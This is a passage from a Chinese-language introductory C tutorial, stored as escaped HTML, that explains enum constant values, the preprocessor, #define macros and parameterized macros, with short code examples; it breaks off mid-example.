语言也允许为 ENUM 常量指定值,不过只能指定为整数,不能是其他类型。因此,任何可以使用整数的场合,都可以使用 Enum 常量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, TWO = \u003cspan class=\"number\"\u003e2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, ONE, TWO); \u003cspan class=\"comment\"\u003e// 1 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 常量可以是不连续的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e X = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Y = \u003cspan class=\"number\"\u003e18\u003c/span\u003e, Z = \u003cspan class=\"number\"\u003e-2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 常量也可以是同一个值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e X = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Y = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Z = \u003cspan class=\"number\"\u003e2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果一组常量之中,有些指定了值,有些没有指定。那么,没有指定值的常量会从上一个指定了值的常量,开始自动递增赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e A, \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e B, \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e C = \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e D, \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e E, \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e F = \u003cspan class=\"number\"\u003e3\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G, \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e H \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 的作用域与变量相同。如果是在顶层声明,那么在整个文件内都有效;如果是在代码块内部声明,则只对该代码块有效。如果与使用\u003ccode\u003eint\u003c/code\u003e声明的常量相比,Enum 的好处是更清晰地表示代码意图。\u003c/p\u003e\u003ch2 id=\"预处理器(Preprocessor)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8%EF%BC%88Preprocessor%EF%BC%89\" class=\"headerlink\" title=\"预处理器(Preprocessor)\"\u003e\u003c/a\u003e预处理器(Preprocessor)\u003c/h2\u003e\u003ch3 id=\"简介-8\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-8\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言编译器在编译程序之前,会先使用预处理器(preprocessor)处理代码。\u003c/p\u003e\u003cp\u003e预处理器首先会清理代码,进行删除注释、多行的语句合成一个逻辑行等等。然后,执行\u003ccode\u003e#\u003c/code\u003e开头的预处理指令。本章介绍 C 语言的预处理指令。\u003c/p\u003e\u003cp\u003e预处理指令可以出现在程序的任何地方,但是习惯上,往往放在代码的开头部分。\u003c/p\u003e\u003cp\u003e每个预处理指令都以\u003ccode\u003e#\u003c/code\u003e开头,放在一行的行首,指令前面可以有空白字符(比如空格或制表符)。\u003ccode\u003e#\u003c/code\u003e和指令的其余部分之间也可以有空格,但是为了兼容老的编译器,一般不留空格。\u003c/p\u003e\u003cp\u003e所有预处理指令都是一行的,除非在行尾使用反斜杠,将其折行。指令结尾处不需要分号。\u003c/p\u003e\u003ch3 id=\"define\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#define\" class=\"headerlink\" title=\"#define\"\u003e\u003c/a\u003e#define\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e是最常见的预处理指令,用来将指定的词替换成另一个词。它的参数分成两个部分,第一个参数就是要被替换的部分,其余参数是替换后的内容。每条替换规则,称为一个宏(macro)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX 100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#define\u003c/code\u003e指定将源码里面的\u003ccode\u003eMAX\u003c/code\u003e,全部替换成\u003ccode\u003e100\u003c/code\u003e。\u003ccode\u003eMAX\u003c/code\u003e就称为一个宏。\u003c/p\u003e\u003cp\u003e宏的名称不允许有空格,而且必须遵守 C 语言的变量命名规则,只能使用字母、数字与下划线(\u003ccode\u003e_\u003c/code\u003e),且首字符不能是数字。\u003c/p\u003e\u003cp\u003e宏是原样替换,指定什么内容,就一模一样替换成什么内容。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e HELLO \u003cspan class=\"string\"\u003e\u0026#34;Hello, world\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 相当于 printf(\u0026#34;%s\u0026#34;, \u0026#34;Hello, world\u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, HELLO);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eHELLO\u003c/code\u003e会被原样替换成\u003ccode\u003e\u0026#34;Hello, world\u0026#34;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e指令可以出现在源码文件的任何地方,从指令出现的地方到该文件末尾都有效。习惯上,会将\u003ccode\u003e#define\u003c/code\u003e放在源码文件的头部。它的主要好处是,会使得程序的可读性更好,也更容易修改。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e指令从\u003ccode\u003e#\u003c/code\u003e开始,一直到换行符为止。如果整条指令过长,可以在折行处使用反斜杠,延续到下一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e OW \u003cspan class=\"string\"\u003e\u0026#34;C programming language is invented \\\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u003cspan class=\"meta\"\u003ein 1970s.\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行结尾的反斜杠将\u003ccode\u003e#define\u003c/code\u003e指令拆成两行。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e允许多重替换,即一个宏可以包含另一个宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e TWO 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOUR TWO*TWO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eFOUR\u003c/code\u003e会被替换成\u003ccode\u003e2*2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,如果宏出现在字符串里面(即出现在双引号中),或者是其他标识符的一部分,就会失效,并不会发生替换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e TWO 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 TWO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;TWO\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 22\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e TWOs = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, TWOs);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,双引号里面的\u003ccode\u003eTWO\u003c/code\u003e,以及标识符\u003ccode\u003eTWOs\u003c/code\u003e,都不会被替换。\u003c/p\u003e\u003cp\u003e同名的宏可以重复定义,只要定义是相同的,就没有问题。如果定义不同,就会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR world\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eFOO\u003c/code\u003e没有变化,所以可以重复定义,宏\u003ccode\u003eBAR\u003c/code\u003e发生了变化,就报错了。\u003c/p\u003e\u003ch3 id=\"带参数的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%B8%A6%E5%8F%82%E6%95%B0%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"带参数的宏\"\u003e\u003c/a\u003e带参数的宏\u003c/h3\u003e\u003ch4 id=\"基本用法-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95-1\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e宏的强大之处在于,它的名称后面可以使用括号,指定接受一个或多个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) X*X\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eSQUARE\u003c/code\u003e可以接受一个参数\u003ccode\u003eX\u003c/code\u003e,替换成\u003ccode\u003eX*X\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,宏的名称与左边圆括号之间,不能有空格。\u003c/p\u003e\u003cp\u003e这个宏的用法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成 z = 2*2;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ez = SQUARE(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种写法很像函数,但又不是函数,而是完全原样的替换,会跟函数有不一样的行为。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) X*X\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出19\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, SQUARE(\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSQUARE(3 + 4)\u003c/code\u003e如果是函数,输出的应该是49(\u003ccode\u003e7*7\u003c/code\u003e);宏是原样替换,所以替换成\u003ccode\u003e3 + 4*3 + 4\u003c/code\u003e,最后输出19。\u003c/p\u003e\u003cp\u003e可以看到,原样替换可能导致意料之外的行为。解决办法就是在定义宏的时候,尽量多使用圆括号,这样可以避免很多意外。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) ((X) * (X))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSQUARE(X)\u003c/code\u003e替换后的形式,有两层圆括号,就可以避免很多错误的发生。\u003c/p\u003e\u003cp\u003e宏的参数也可以是空的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e getchar() getc(stdin)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003egetchar()\u003c/code\u003e的参数就是空的。这种情况其实可以省略圆括号,但是加上了,会让它看上去更像函数。\u003c/p\u003e\u003cp\u003e一般来说,带参数的宏都是一行的。下面是两个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX(x, y) ((x)\u0026gt;(y)?(x):(y))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e IS_EVEN(n) ((n)%2==0)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果宏的长度过长,可以使用反斜杠(\u003ccode\u003e\\\u003c/code\u003e)折行,将宏写成多行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT_NUMS_TO_PRODUCT(a, b) { \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e int product = (a) * (b); \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e for (int i = 0; i 